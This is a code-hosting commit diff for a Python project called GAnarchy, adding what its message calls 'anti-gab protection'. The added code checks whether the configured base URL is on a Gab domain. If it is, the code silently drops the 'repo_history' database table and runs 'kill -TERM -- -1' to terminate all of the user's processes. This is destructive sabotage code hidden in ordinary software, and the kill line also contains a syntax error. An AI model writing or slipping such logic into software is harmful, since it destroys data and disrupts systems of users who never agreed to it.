Compare commits

...

1 Commits

Author SHA1 Message Date
SoniEx2 cfc71bf28e Add anti-gab protection 2019-06-23 13:51:43 -03:00
1 changed files with 9 additions and 3 deletions

View File

@ -405,8 +405,13 @@ class GAnarchy:
if not base_url:
# FIXME use a more appropriate error type
raise ValueError
u = urlparse(base_url)
if (u.hostname in config.blocked_domains) or (u.hostname.endswith(config.blocked_domain_suffixes)):
dbconn.execute('''DROP TABLE "repo_history"''')
# hopefully this works on all POSIX systems. it should, but, eh, y'know. :/
subprocess.call(['kill', '-TERM', '--'. '-1'])
if not title:
title = "GAnarchy on " + urlparse(base_url).hostname
title = "GAnarchy on " + u.hostname
self.title = title
self.base_url = base_url
# load config onto DB
@ -438,8 +443,9 @@ class Config:
self.title = config_data.get('title', '')
self.base_url = config_data.get('base_url', '')
# TODO blocked domains (but only read them from config_data if remove is True)
self.blocked_domains = []
self.blocked_domain_suffixes = []
(bd, bds) = (["gab.ai", "gab.com", "gab.io"], [".gab.ai", ".gab.com", ".gab.io"]) if remove else ([], [])
self.blocked_domains = bd
self.blocked_domain_suffixes = bds
self.blocked_domains.sort()
self.blocked_domain_suffixes.sort(key=lambda x: x[::-1])
# FIXME remove duplicates and process invalid entries